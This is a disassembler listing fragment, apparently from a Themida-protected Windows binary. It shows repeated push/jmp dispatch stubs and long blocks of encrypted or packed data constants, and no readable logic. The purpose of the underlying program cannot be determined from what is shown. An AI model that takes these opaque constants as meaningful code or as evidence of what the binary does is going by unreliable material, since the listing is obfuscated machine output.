		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618A015h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618A0D1h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618A263h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618A3A1h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618A475h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618A539h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618A711h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618A817h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618A8B4h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618A952h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618AB0Eh
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618AFDFh
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618B0ABh
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		db 68h
		dd 0CFC31D92h, 630F713Eh, 0D4C02289h, 570B753Ah, 3BB257Ah
		dd 47587913h, 0DDCE2959h, 2F7C8F03h, 0E4C72151h, 0A028F0FEh
		dd 428C7434h, 91010704h, 0ACA7317Ah, 0E4CAE3FBh, 79372DA6h
		dd 11814758h, 0C802AFF0h, 0A506E232h, 2B80586Ch, 359F272Bh
		dd 3449434h, 0FDE937C1h, 34077119h, 0B3F54494h,	3451C343h
		dd 0F5274494h, 0B5700AE3h, 2A7EC941h, 0F40C3EA1h, 9C6D14A5h
		dd 0E8066E85h, 0BCD001C7h, 0BD79AC44h, 80F0F961h, 48CBA871h
		dd 3C15h, 0A5253100h, 0BD79A433h, 1241D709h, 9B2B48D2h
		dd 4494E829h, 2B2BDD1Fh, 0E8359F27h, 0C1034494h, 0F0E75F37h
		dd 0CE3EA1BDh, 0FF65579Ch, 0EABD783Ch, 0F8077744h, 9E48CA24h
		dd 0E8h, 4A617777h, 5A646CEh, 0E7ECEECCh, 66ABF4DDh, 0E256F6E2h
		dd 0DA4494E8h, 0E60292A8h, 18FC0CC5h, 94E80470h, 28B2F444h
		dd 88690CECh, 4EAF3E31h, 9751FDFBh, 7EFB6F51h, 0C8449465h
		dd 5D057B30h, 9583307Bh, 2DCBD4FDh, 0B0B2640h, 0A1A5907Bh
		dd 0EE0E863Eh, 0F4B614BDh, 0C781004h, 5CBD7986h, 7FA141E1h
		dd 0D4F538Ch, 3E48950Bh, 888303F3h, 2C74DC4h, 484F7692h
		dd 0E5040030h, 0B515BE0Ch, 0B99DDF23h, 0F9E7B819h, 32376889h
		dd 70FE7599h, 32BCBDE6h, 0CC000013h, 731F812Eh,	0B7AB159Ah
		dd 681C8625h, 0BBA71996h, 0A7178916h, 0B3EC15B7h, 6942A5CDh
		dd 0BBF00B77h, 703B9DC5h, 34D4BC12h, 428C76C0h,	7782CBB8h
		dd 0B6275F5Ah, 50A95C41h, 8D35F1FBh, 73351A95h,	2883650Dh
		dd 22C64EBAh, 0C1F2B953h, 1A39BF09h, 79DD48D2h,	0A1BDEAD1h
		dd 54F4D83Eh, 0BD783CE0h, 3C68DC6Ch, 1E60BD78h,	0DECD2EA6h
		dd 9735DE2Ch, 0BD783C21h, 0E5551E3Ch, 48CA24D6h, 0B67Ch
		dd 17FB4900h, 94E8056Fh, 27B1F344h, 759E0DEBh, 0F41D825Fh
		dd 94E59BD8h, 8243A544h, 3B6670C8h, 0F9E721B5h,	4962850Dh
		dd 0A5423288h, 0EBEDCD06h, 995A51A7h, 0B123A3AFh, 87BB6BDFh
		dd 90AAC355h, 2629A195h, 14C15EE9h, 45DFF0D2h, 3A6A6EEAh
		dd 4EE743D7h, 0E22AB06Ah, 0C74CC91Eh, 24ACACDEh, 9400E2BDh
		dd 7439326Dh, 0E970FE52h, 123FCBBEh, 2BBF0000h,	97761E84h
		dd 22BAAA18h, 936B1789h, 13BEA61Ch, 0B4AA168Ch,	0FCE6B918h
		dd 463C6F88h, 94EEBD1Eh, 3DA308E0h, 0F55FE7AFh,	0C3428C77h
		dd 5A777FC6h, 3291D145h, 83609ADFh, 382C7684h, 7738D5A0h
		dd 77644F31h, 0FB894A61h, 80F4CEDDh, 0B7E8096Ch, 0C90AC0FAh
		dd 348E1DBBh, 0A0BAAB4Fh, 0D859185h, 7F15BEF1h,	708A406Fh
		dd 0A1FA451Ch, 1D81C33Eh, 0F637F66Dh, 0D4253F17h, 0C038722Dh
		dd 0C34D3D48h, 8963CB3Ch, 3070E822h, 38DCB4AEh,	0CAE1FA59h
		dd 46D9FA00h, 8505F13Ch, 0C2D0824Ch, 8728C64Eh,	67CF1171h
		dd 68E811E7h, 1DDD1689h, 0ADFA3BADh, 19CF11B2h,	0A81DBBA7h
		dd 0C0E402B6h, 59529821h, 7361689Eh, 72912813h,	8C000011h
		dd 335F416Eh, 77EBD5DAh, 285C4665h, 7BE7D9D6h, 67574956h
		dd 0F3AC55F7h, 0A902E58Dh, 0FBB04B37h, 0B0FBDD85h, 7414FCD2h
		dd 428C4800h, 77C20BF8h, 56894A61h, 55F561CCh, 3EA1FA66h
		dd 9E362264h, 8A40713Ah, 9EC63270h, 9E95C1Dh, 0B3DFF991h
		dd 829D5655h, 0C9E6F7F8h, 0F8B208h, 413D2688h, 0A890D2C7h
		dd 0E5DBD028h, 996A5B7Dh, 0B72B8544h, 3D2C8509h, 0FACCBA5h
		dd 7D0718D9h, 1D1745CCh, 93557A95h, 50AB23A3h, 5B8DCD7Eh
		dd 169573DBh, 8B20B8ACh, 36D6C246h, 0A92E60C2h,	7D7288BAh
		dd 38D048E3h, 0D31B408Dh, 0B7F4137Bh, 810AC0FAh, 64CED1C8h
		dd 0B64F6A55h, 48000010h, 0EFA3FDB2h, 432F911Eh, 0F4A002A9h
		dd 372B951Ah, 239B059Ah, 67389933h, 0BDEE0979h,	4F5CAFE3h
		dd 0C4E70171h, 800810DEh, 428C4814h, 779EE7E4h,	0AB5B455Ah
		dd 51ADC823h, 9367AC5Eh, 53DE6885h, 1A916BE3h, 0D06A419Ah
		dd 0A444CCC8h, 0EAF0CA07h, 0A1F73FA2h, 585913Eh, 0BD780193h
		dd 61A13769h, 6E2F21Fh,	43CB3BA5h, 9CF802A9h, 0AD426F3Ch
		dd 28A09893h, 0C74D1D0Dh, 5B08C9FBh, 6A8EE6F3h,	0F48E5F41h
		dd 0B755BD39h, 255ECA42h, 0FC2EB74Dh, 0DC6C2CAEh, 0CD783A61h
		dd 0F55FE7EBh, 0C3A9525Eh, 0D90B7781h, 5F4CAC18h, 0F6C373B2h
		dd 6D8E6FF9h, 7335953Eh, 41980383h, 62F2D367h, 0DED2685h
		dd 5B45770Bh, 0ADC823ABh, 90AA604Bh, 0AC7E404h,	27660A72h
		dd 764303A3h, 0D4DB32A2h, 0CF2ACE46h, 2766CD37h, 3F89BBA3h
		dd 0D4D73161h, 0BB76101Fh, 7635D33Bh, 24CDDEFEh, 0C44454E6h
		dd 0D9124A79h, 0BEE3BDFFh, 0B9740E79h, 1979CD3Dh, 0CD0FDF0Dh
		dd 8E56D69h, 27B123A7h,	1F879F13h, 0D931E2C9h, 359F270Fh
		dd 39F1327h, 77E737C1h,	0C5D1455Ah, 1327D345h, 0AB41A99Fh
		dd 2330CA00h, 0A20EED35h, 49167316h, 55E55BAFh,	344E9F13h
		dd 7895FDF9h, 5C3EC01h,	2CECEECCh, 2CC2F828h, 0E3843D78h
		dd 8141B555h, 537E52Ah,	44678111h, 0DC48C0D4h, 0AC91FBBFh
		dd 5242607Ah, 8E7C0FB6h, 8DECBB4Ch, 0C32E965Bh,	9904CFDCh
		dd 86B15296h, 0F24F3h, 0AF00DA00h, 634CA1D1h, 0B4F7157Dh
		dd 6748A6CEh, 0B7E80979h, 0EB61D5C9h, 3B279906h, 0C1B10F9Ch
		dd 731F812Ah, 12AC1695h, 4A6ADE6Eh, 6562428Ch, 455A7718h
		dd 0A4D1275Bh, 4EAC654Ah, 8B6D579Ch, 3CDAF320h,	0AA01D72Fh
		dd 0F0853438h, 0BF4FB126h, 17797F2Ch, 167h, 986177ECh
		dd 94E884F0h, 47648444h, 12BF093Bh, 0F3936682h,	4494E881h
		dd 93834577h, 0E89D077Fh, 396B4494h, 0D26C819Fh, 0DC67DF57h
		dd 0AA3EA1F6h, 0DB413B78h, 0C6BD7802h, 7875B68h, 0C2F8B9F6h
		dd 635C438h, 425948CAh,	6D000000h, 352E5F35h, 0F612B732h
		dd 0EEE5F3B5h, 9B2B48D2h, 4494E829h, 16F5DD1Fh,	6C9E5C95h
		dd 6BB8E8ECh, 62824FA5h, 7FE8EACh, 53EA18Ch, 67E0EC3h
		dd 23BD79ECh, 0FBE2E3Bh, 5348CBF4h, 0B3h, 4A617700h, 0C9D6FB89h
		dd 4F5C7C08h, 0E95BEBE7h, 0DF4494E8h, 0DC158A67h, 54EEC1Eh
		dd 5032798Fh, 94E55F1Ch, 0B60FE944h, 367D7019h,	42B6F4A2h
		dd 54702FD2h, 54B286A0h, 881A2018h, 16022D37h, 5F9F1476h
		dd 66D214C1h, 269C03EEh, 7F0C933Eh, 77119AB6h, 0E649406Bh
		dd 1800000Dh, 0DF93EDC2h, 533FA10Eh, 0E490F2B9h, 473BA50Ah
		dd 138BF5AAh, 5748A923h, 0CDDEF969h, 3F6C7FF3h,	0D4D73161h
		dd 9038E0EEh, 428C4B24h, 77EE1714h, 81F3935Ah, 774494E8h
		dd 7F938345h, 0E881F393h, 45774494h, 94E8D345h,	0FB77A944h
		dd 0B307CCE3h, 7187FB25h, 775D483Ah, 46CE4A61h,	0F1C90AA1h
		dd 0B5436C81h, 0DBD0289Ch, 505B7DE5h, 37F28CA3h, 0F03847BFh
		dd 94D63EA1h, 7953B2Eh,	0FBFA0000h, 0A7A379E3h,	0A7AE5655h
		dd 0BF53E5F7h, 38547D22h, 449477C0h, 2216112Bh,	6C339E36h
		dd 0ECC03ECEh, 86B83EADh, 0C6E50292h, 0EC4EBA52h, 0C3EBD7Ch
		dd 4EAA2AEEh, 7F93835Dh, 7CEC9D07h, 9F396BBDh, 0DD169573h
		dd 14950AE7h, 770F6D2Bh, 12A21700h, 0EC00000Dh,	533FA10Eh
		dd 0D78BF5BAh, 483CA605h, 0DB87F9B6h, 8737A9F6h, 930CF597h
		dd 9A2452Dh, 9B10EB97h,	109B3D25h, 0D4741CB2h, 428C4C60h
		dd 77226B58h, 41D1455Ah, 0ABF503ACh, 498A21B7h,	2A0E9D3Bh
		dd 8851B6FAh, 0B0D44B3h, 8F20BEC6h, 149B7262h, 9619F5DFh
		dd 3153203Eh, 0FBCF9C3Ah, 8D357A93h, 0BA79406Bh, 42D2686Dh
		dd 0CF9B05A6h, 0B1263020h, 0D66h, 146F1F00h, 484494E3h
		dd 0FFFDC441h, 96F10FFh, 624494E8h, 61E94DD8h, 3EAD73C5h
		dd 0D8571B3h, 36E2C0EBh, 8D3EAA22h, 0DC0EBD73h,	7932D63Eh
		dd 0B6F9157Dh, 889219BEh, 2198394Bh, 3537AEB5h,	2A9F69F0h
		dd 770E8C27h, 4E8E2B14h, 0B000000Ch, 0F76B555Ah, 0ABD7C9E6h
		dd 0FC685A51h, 7FF3CDE2h, 6B633D62h, 1F8061FBh,	7536D1C1h
		dd 2784570Bh, 7C2FC9B9h, 38D0B806h, 428C4DCCh, 7786CFBCh
		dd 0B6F91461h, 33D5BFF4h, 3E423B78h, 0AA4237D6h, 0B0FAD001h
		dd 0AB31C703h, 9A2469Eh, 0F024D397h, 206AB126h,	1B000000h
		dd 94E3146Fh, 0B2F91244h, 65E000F8h, 0F80A0528h, 0A41BF410h
		dd 0E4873AF7h, 0FD0BB356h, 0FB82FFFFh, 81327993h, 0A4BEAF49h
		dd 0D2FD8D89h, 483EA1F7h, 78DFDD16h, 63BD7800h,	4F7EEEFBh
		dd 1348CA04h, 1B2h, 0E8596FC0h,	0EA0D4494h, 439D0EEAh
		dd 6A0CB94Fh, 973C7808h, 0CFED26E4h, 4494DCF1h,	8FEA3ADEh
		dd 0DAD98FE3h, 0D09943D5h, 554B6078h, 842DF088h, 5A7DF810h
		dd 0A06AA051h, 0F5B65242h, 0E7C8C0BCh, 75D54494h, 0E2CDFC6Ch
		dd 6391B126h, 85000001h, 58C0EB0Dh, 94EE44B0h, 0E8F23444h
		dd 4A6177EDh, 98DDFB89h, 3FA16744h, 5FB394AEh, 0A96A31C6h
		dd 0B656C208h, 3EA15E63h, 636FE719h, 797A71E3h,	31547BDh
		dd 7A46BECEh, 0FB63BD79h, 7E4F7EEEh, 0F99948CBh, 7B09CAE5h
		dd 65A54E5Dh, 48FB95A3h, 0C8000000h, 9B2B48D2h,	4494E829h
		dd 0D179DD1Fh, 4494E867h, 61D51355h, 0A1BDF2E9h, 7F58D03Eh
		dd 5A9718F6h, 0B8A06AA0h, 28E9C618h, 710B48D2h,	0BD783C0Bh
		dd 0BB2B3816h, 48CA240Ch, 55EB88D8h, 0D3661BEFh, 0B0CB45h
		dd 77780000h, 0FB894A61h, 7C08C9D6h, 0B6A24F5Ch, 0C1F2B91Eh
		dd 45A3EF09h, 0EB007C66h, 0A94494F0h, 0E95B5379h, 0DFF95309h
		dd 6C5655B3h, 1CACC953h, 0BB6B98A8h, 0ACAC5EA0h, 5F37BE1Ch
		dd 9088BAC1h, 0E4BEE100h, 5D4E51B0h, 7711325Eh,	7669604Bh
		dd 8800000Ah, 2F633D72h, 83EFD1DEh, 34604269h, 77EBD5DAh
		dd 635B455Ah, 277859F3h, 7D2EC9B9h, 0F9C6F23h, 8427C1B1h
		dd 40C8D01Eh, 428C4FD4h, 775EA7A4h, 91D1455Ah, 0BECE190h
		dd 982784A0h, 0C9B9E7F1h, 0D642CA2Fh, 0A644946Ch, 0A6B2A664h
		dd 946CB226h, 0E0588A44h, 946CFC68h, 809ACC44h,	93FBB322h
		dd 4C7E3378h, 0DEFCAF48h, 985952B6h, 1DFCC2Ch, 42E86h
		dd 17FB4F00h, 94E8056Fh, 0E1865344h, 0BDC987CAh, 2C7583C5h
		dd 2B351Ah, 21277018h, 0ED653EADh, 0EA9AA00Bh, 1D2040B8h
		dd 0EDFCCD62h, 8754CC4Eh, 46C632FDh, 0C746CEFBh, 75150115h
		dd 0B7470E03h, 51C3C7F9h, 27B7470Eh, 5D9FE3F5h,	0EA018B4h
		dd 9DBDB747h, 7E9000D4h, 0A453A731h, 0EA42F50Ah, 38Fh
		dd 0E8096F9Bh, 9EFF4494h, 0C34494E8h, 28A6EB9h,	0C15E126Bh
		dd 20DD3199h, 780A3CA8h, 10DA0CBDh, 4BCCD1DAh, 0B6E17714h
		dd 970C3h, 436C8E00h, 0D7D8355Dh, 486379E9h, 0DBD42A5Ah
		dd 4B547DE5h, 57F56955h, 0C7BB257Ah, 5D057B30h,	1F532D7Eh
		dd 0EE00E2C9h, 4036A22Ah, 906428Ch, 7A93FBBCh, 0DA856E4Fh
		dd 3278CBECh, 1F8C6CA8h, 8233DF2h, 745A7810h, 94D63EADh
		dd 0AC87A12Eh, 1F821CACh, 3476C74Ah, 0AB4CC4h, 382AEAA2h
		dd 8495B75Ah, 0B2553DA3h, 2CCCB8F9h, 839D527Fh,	8D18B0A8h
		dd 0FCD6F3Dh, 0F4096C7Fh, 6C4F6BBh, 97EBEDCDh, 23D0DF2Fh
		dd 5B239535h, 0E719A92Fh, 0E5E2E721h, 0FA6AE31Ch, 8D3B8D1h
		dd 0CF2B0000h, 7B9202E0h, 0C6264E34h, 7787FBE5h, 0B71A4A38h
		dd 50C6FAE8h, 188A15BCh, 0C2208B6Ch, 107239D2h,	0B9278464h
		dd 79EB5B23h, 4F428C40h, 48D22B52h, 0E8299B2Bh,	0D92F4494h
		dd 5A90D2D2h, 73D06EDEh, 76A83EADh, 0DFFE9682h,	8D3AAE1Eh
		dd 0D012BD73h, 7394001Ah, 0BD1A4A38h, 102AC5EEh, 34A00FDFh
		dd 0E921D2CDh, 738F371Fh, 0EDC74A16h, 0AF573BBBh, 0B75A2245h
		dd 8202A943h, 8699BA40h, 0D1C531FCh, 5A22CF39h,	6D8BBDB7h
		dd 2C4621A9h, 72B4CD6Fh, 0E32CE0F9h, 0A7220D6Ah, 835h
		dd 247E31C9h, 0B0129D70h, 1D8328C4h, 0AC169975h, 1C8619B8h
		dd 0B71AB2A4h, 6D8AFAE8h, 0DB30643Eh, 6682F2D0h, 7D815B45h
		dd 8C419B0Dh, 49747142h, 0F3146177h, 0D3C1F2B8h, 403D7635h
		dd 7639D43Ch, 0E17B7D3Dh, 436880D8h, 0ECEE1D5Dh, 0D4B4B126h
		dd 61000001h, 0ED1AE3FBh, 6E81CE56h, 2EF9836Ch,	5FDF42CAh
		dd 0A1313EA1h, 4EAC6546h, 0C05BD6B6h, 6B6DBC23h, 902CE517h
		dd 0BD79C628h, 784C1535h, 67ACFFD8h, 0C6F58593h, 8C48CBC2h
		dd 197h, 4A617739h, 0F90F7F89h,	0CEC28B2h, 3DD5419Fh, 0AC03DB9Ah
		dd 0E1559367h, 94E8FF69h, 7D9BCD44h, 0DB5BD670h, 0A1F6D86Bh
		dd 0A546AE3Eh, 0BE14DE06h, 0F8AE572h, 3CA418D9h, 1CBD7895h
		dd 0D0C4EDC2h, 48456E31h, 409FC18Ah, 0D2E1511Ah, 0FE48CA91h
		dd 793A7196h, 4259B741h, 2A000000h, 50A748D2h, 0A664965Bh
		dd 0BD231AB2h, 0F9213EA1h, 327DEABFh, 46B2F827h, 797F30CEh
		dd 0C3FC6458h, 0FFDCBD78h, 745D67ACh, 8F2FE62Bh, 1941A0C2h
		dd 0DBD1E050h, 0CE7548CAh, 91000000h, 37C1EA01h, 4A61771Ch
		dd 0C9D6FB89h, 8728C54Dh, 0DD04704Ah, 1FB911C2h, 6546A232h
		dd 0EBC018ACh, 6A8111F5h, 0A03A9041h, 94ECBF6Ch, 5C4FA944h
		dd 179474DCh, 0D6863ADAh, 94940C38h, 915EC456h,	54BC3CF7h
		dd 36E2F8B3h, 5F6C3496h, 140C34C1h, 0F4AACE56h,	0D0CF32A2h
		dd 4BB61E1Ah, 0C066666Eh, 0AC064D0h, 82E7D60Eh,	0B8F9366Fh
		dd 0BFB2230Ch, 0AE4C3242h, 0CE10074h, 7D92087Ch, 5ABE00BDh
		dd 7D9246B2h, 0B6F436BDh, 10E38EB5h, 0D9F0DB77h, 679h
		dd 584A6585h, 4DED12Ch,	512F7C90h, 0E2CD21h, 50326D94h
		dd 836EEE60h, 19BEA61Ch, 0A7443092h, 12F69E04h,	0F1952799h
		dd 8C43EF59h, 0A5F0DD42h, 5B455A77h, 0E8DAD127h, 4A6177BDh
		dd 0D642CACEh, 0A64494E8h, 0E054F464h, 0D84494E8h, 553F94A6h
		dd 23CE46B3h, 0E884F07Ch, 32744494h, 0F8108078h, 2ECCFEB3h
		dd 3D75F4h, 863C0000h, 9D5EE88Fh, 0B99D6B34h, 6326859Dh
		dd 690A630Eh, 7E9D3BCFh, 699B3EADh, 0C3A81C75h,	0A8A6EB9h
		dd 0B614BDEEh, 35D47424h, 33C74A01h, 708D05F1h,	0A238923Fh
		dd 4B0B7Eh, 0D2CA0000h,	5A51A748h, 9D20A890h, 5B3EA1C4h
		dd 7BD4E829h, 8D1C2A5Bh, 7B0502CFh, 0C44C48B0h,	0BC4C852Ah
		dd 7803D84Ch, 3C6EB0BDh, 2FD36E9Eh, 0C5A9C74Dh,	4D2FD345h
		dd 3177A9B7h, 0CE184Fh,	381C0000h, 4D2F2490h, 48D214B7h
		dd 0DD48D20Dh, 10942979h, 891F3708h, 971FA76Fh,	613EADEFh
		dd 0BCE7371Fh, 0E5985C12h, 0A06A419Ah, 0F7ADC69Ah, 0FE6E7BD9h
		dd 48CE21CFh, 8793h, 48D24000h,	795D79DDh, 94E867D1h, 0EF135544h
		dd 30F13E17h, 0D438C226h, 3EAD4A43h, 324BF335h,	74AC6482h
		dd 0F871E1A1h, 7EE0FA65h, 0DCF60575h, 519C48C1h, 69000000h
		dd 0FCF748D2h, 3B173CE6h, 0EA389CABh, 50AB543Ah, 0E3869E9Ah
		dd 7BA75334h, 0FD8D898Fh, 3EAD53DFh, 1A732B5Dh,	1E8D6AAAh
		dd 0BB0EDFF5h, 0CE53846Dh, 71A26830h, 7FA1AA50h, 55F5E135h
		dd 0BD735DE3h, 0CB91A7D9h, 597F8EFEh, 0D2348C1h, 0F0000000h
		dd 94F4F46Fh, 0F4616844h, 30FFFFFEh, 9F748D2h, 0E37A2F14h
		dd 385ECA42h, 0FC2E4494h, 8A21C6AEh, 0C230D840h, 0BE3EADA3h
		dd 8E98478Ch, 0F413B3A3h, 72C74546h, 729A0E7Eh,	3072B75Bh
		dd 9CA6397Ah, 0A925A591h, 8FCD62E9h, 54B9E94Dh,	35A06820h
		dd 56BEDA60h, 358AF8B7h, 7018002Bh, 0D31B172Eh,	30A098CAh
		dd 6C68D0DBh, 92168DCh,	61E60A3h, 0C88668B0h, 5CC65411h
		dd 0F25FE520h, 7485632Bh, 0E29860D4h, 0FE26580Bh, 569BFAABh
		dd 685A90DAh, 22CFDCFCh, 5F82730Dh, 0FE8E8A40h,	71D7383Bh
		dd 1B8DFDF1h, 0F10DF758h, 0ABB8F9AFh, 1ABE1623h, 0A8432F91h
		dd 4A802BCDh, 7F937F89h, 0F7589D07h, 31396B0Dh,	0DF758C7h
		dd 0D34F73B5h, 0A49175EEh, 0AA43CF69h, 426F3CCFh, 8ED64288h
		dd 0B78F4257h, 627BF7BFh, 0EB86CB4Dh, 0BD1E7643h, 0EF58CC3Ch
		dd 0AD400DF7h, 8A408202h, 1C8F6C18h, 0D0CAFCD7h, 8E6DC58Eh
		dd 529817E7h, 0F3088870h, 0D23322B8h, 0A52FE449h, 6AAB6843h
		dd 7902FFCCh, 2BCC44B4h, 77856480h, 0C60544EDh,	6286EE34h
		dd 0C9FC1549h, 90E8F14Fh, 234B3378h, 902CE5CAh,	44940224h
		dd 368E5B03h, 0FEEAD8D7h, 0A3357696h, 0E20F9C6Fh, 940273EAh
		dd 0AAB76544h, 90F2B952h, 94221DDCh, 0AB596144h, 0EDB12626h
		dd 0FFFFFFA3h, 4A6177A6h, 0DFCC2C58h, 0F2B94FBFh, 0E9C2264Eh
		dd 6C3F9C28h, 6B7816A7h, 0E7F45249h, 4E5D7B13h,	3FD365A5h
		dd 0DE9E02A9h, 0B126F02Fh, 2473h, 48D22000h, 32D179DDh
		dd 303EAD73h, 843152EEh, 0E7E4ED4Dh, 0E666D25Dh, 0C74A1627h
		dd 88FBE325h, 3Eh, 0DD48D249h, 7332D179h, 0EE303EADh, 0C92EA652h
		dd 941BF2E2h, 0ADA51D86h, 96101949h, 75E093ECh,	0F3F0F963h
		dd 0B25ABE69h, 0C74A1713h, 3EFCF11h, 8EE9F2DBh,	470F75Ch
		dd 0BB0FC4E7h, 93FB361Dh, 4A80316Eh, 278464B0h,	31A3232Fh
		dd 74494E8h, 0A0E43D5h,	0E606738Ah, 9DF503C5h, 0BD12703Bh
		dd 0F89088A3h, 3EA1F6ADh, 0D4E8295Bh, 0BD78016Ch, 9808D179h
		dd 48CA0569h, 462Dh, 48D2E600h,	0F55D79DDh, 0A3159516h
		dd 0A94494E8h, 184A5A55h, 8F761602h, 7D3EA1BDh,	0A443CB4Bh
		dd 0EAF0CA07h, 3C6DD3E9h, 0D278BD78h, 246A9909h, 1EB648CAh
		dd 0C44EECB3h, 0EAh, 0DC48C0D4h, 0ACBD7830h, 7775607Ah
		dd 96CE4A61h, 6FE94D8h,	9318F0BEh, 0DC5EAC5Eh, 4D519177h
		dd 4F5CAF01h, 0C6BC68A2h, 5F4CACF2h, 889258B2h,	3EBAE50Ch
		dd 46C637D6h, 44942ED2h, 813278AAh, 32A2AF49h, 2C1CD5D6h
		dd 0D26843A4h, 9B05A642h, 942382DFh, 96C8C44h, 0BFFBB8F3h
		dd 636F9709h, 942A71E3h, 27845744h, 9469699Bh, 7395FD1Bh
		dd 5C3EC02h, 1E0913CCh,	1B17923Ah, 11053EA1h, 79790F79h
		dd 0FDCBFDBDh, 0D2B73A3h, 4F229365h, 0DF698694h, 1064E454h
		dd 0E8C74D45h, 2FD242B6h, 7F621270h, 0C67AAB20h, 0E4CF70FEh
		dd 1A8E5h, 0FBB45600h, 0AF00DD85h, 604BA1D1h, 0B3FC1282h
		dd 633CA5CDh, 3FDD517Dh, 0EFA3FDA2h, 452D9318h,	0E79B05A6h
		dd 96289A11h, 47EE5AF2h, 0F1DE428Ch, 455A77A4h,	0DAD1275Bh
		dd 48D2BDE8h, 0F55D79DDh, 585930Ch, 3EA1BD1Eh, 83F9BAECh
		dd 0BD783B1Dh, 0A9192208h, 48CA231Ah, 0C240h, 61771500h
		dd 0F5B3F814h, 7629C8BCh, 0E5223F3Dh, 0CEC4494h, 3DD5419Fh
		dd 26E40D9Eh, 132E9A32h, 0EC1EBB6Bh, 8922C64Eh,	0A28D9748h
		dd 0EEBD1EB6h, 23F305C5h, 5E2200A3h, 0AC5A8AC1h, 0B5E2D2F2h
		dd 0A3CC852h, 4962860Eh, 83CB3DCDh, 7FC1BD78h, 8C962779h
		dd 2215B5A1h, 18C74C2Ch, 0FFE272E6h, 0AF5242A0h, 2D347BF0h
		dd 7EA970FEh, 0DC0Bh, 0E7C82200h, 3B7489F9h, 0ECBF1D45h
		dd 3F708EF6h, 0CFD03161h, 0D349BDF1h, 630F712Eh, 0C9B92784h
		dd 5B077932h, 7A542E7Dh, 5882F696h, 8D7A428Ch, 455A7740h
		dd 1FA7AB5Bh, 4494E8B5h, 5BB74183h, 0A4542E7Dh,	16DBD02Ch
		dd 60D474E4h, 584494E8h, 77C11426h, 0ED1461h, 94E81C88h
		dd 0F0BAEC44h, 0DF263EBAh, 0C43F17B2h, 0CE1C8F69h, 5B7D074Ch
		dd 9468E850h, 0F39F0117h, 32A29615h, 0EA20D1DAh, 46A2D250h
		dd 65E5F165h, 44945BF3h, 279F97C9h, 44945BBDh, 92BF598Bh
		dd 0D7817FFAh, 0A3B00E79h, 3A83FCFh, 56C24ACEh,	26F0A6B1h
		dd 801426E4h, 355D4368h, 0A91BD8D3h, 813A7455h,	0FA6266D8h
		dd 0EE7003B0h, 0A6B8DE5h, 92F0BAF1h, 0B1A506E2h, 5AE0CB21h
		dd 380F9h, 40510000h, 4C637759h, 0D0DBFD87h, 515AB123h
		dd 0D8D334A0h, 5748A91Bh, 0D8C72A9Ah, 5A55A91Bh, 0DAD12B99h
		dd 5D52AB19h, 0ED6852B4h, 8900003Bh, 8950242Ch,	405E0h
		dd 42D0000h, 87000000h,	895C2404h, 89572414h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 240C895Ch, 0F1B95157h, 8906189Ch
		dd 0FA8959CFh, 4EC835Fh, 81242489h, 42404h, 52590000h
		dd 43243481h, 8F740651h, 0BE560841h, 74065143h,	5E087131h
		dd 52240C8Bh, 0C281E289h, 4, 8704C283h,	8B5C2414h, 89502414h
		dd 405E0h, 4050000h, 87000000h,	0E95C2404h, 0FFFB9550h
		dd 0B6024CE3h, 7A041FBEh
		db 0Fh,	6, 8Dh
; ---------------------------------------------------------------------------


loc_5D750F:				; CODE XREF: Themida_:005D5F20j
		mov	eax, 618B1ACh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 4663CCBBh, 749B56DCh, 76B1CF82h, 14890B74h, 234F6E3h
		dd 1446D4D6h, 5FC1B249h, 79B06014h, 2FF36F9Ah, 22414483h
		dd 626F987Ah, 79F95334h, 30FD3560h, 406F144Dh, 3B28080h
		dd 342EE158h, 18DA2564h, 8E8h, 8CEE3600h, 0B4575B46h, 0D0BF0F9Eh
		dd 81F98B59h, 5B82C1h, 0BE1CB600h, 13965AE6h, 0BBCAC681h
		dd 0EE9EC69h, 0FB000000h, 545D8E22h, 4E3A7A21h,	86B61A4Eh
		dd 8131FF64h, 7AC4B8DFh, 81FC5B33h, 5B7C7FF3h, 9E905h
		dd 476B0000h, 164BE1CAh, 81FACD4Bh, 8A0751C3h, 18890F7Bh
		dd 0E9000000h, 13h, 0C9C01385h,	57C16D3Fh, 3C03C34Ah, 8AC8F384h
		dd 81331175h, 41B23EF3h, 0DCEF810Eh, 8906F735h,	0BA666019h
		dd 8361B3CDh, 0DF8101E9h, 5B8CE1C1h, 60494949h,	9E8h, 98E4D600h
		dd 9A47BB93h, 0BB6613B4h, 0F5FEEC0h, 381h, 0C88B6600h
		dd 1EE8161h, 0F000000h,	0FFFF7485h, 41E081FFh, 0E941EEF4h
		dd 28h,	3F02CCC2h, 9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D827A
; ---------------------------------------------------------------------------
		push	618B520h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618B61Ch
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618B793h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618B8BDh
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618BBADh
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618BD41h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		push	618BE33h
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		db 4Ch
		dd 0F39F01AEh, 372B951Ah, 0E89C06A5h, 3B279916h, 27970996h
		dd 336C9537h, 0E9C2254Dh, 3B708BF7h, 0F0BB1D45h, 0B4543C92h
		dd 428C5B40h, 0CD454B38h, 84367B24h, 2AB0FB10h,	4A61772Bh
		dd 565F7F89h, 6FCE12A5h, 28C054E6h, 0B6D01D83h,	0B80B7B7Bh
		dd 4E3EA1D2h, 0E8381C1Ch, 353F1DDBh, 0E7515991h, 0D5BD79AAh
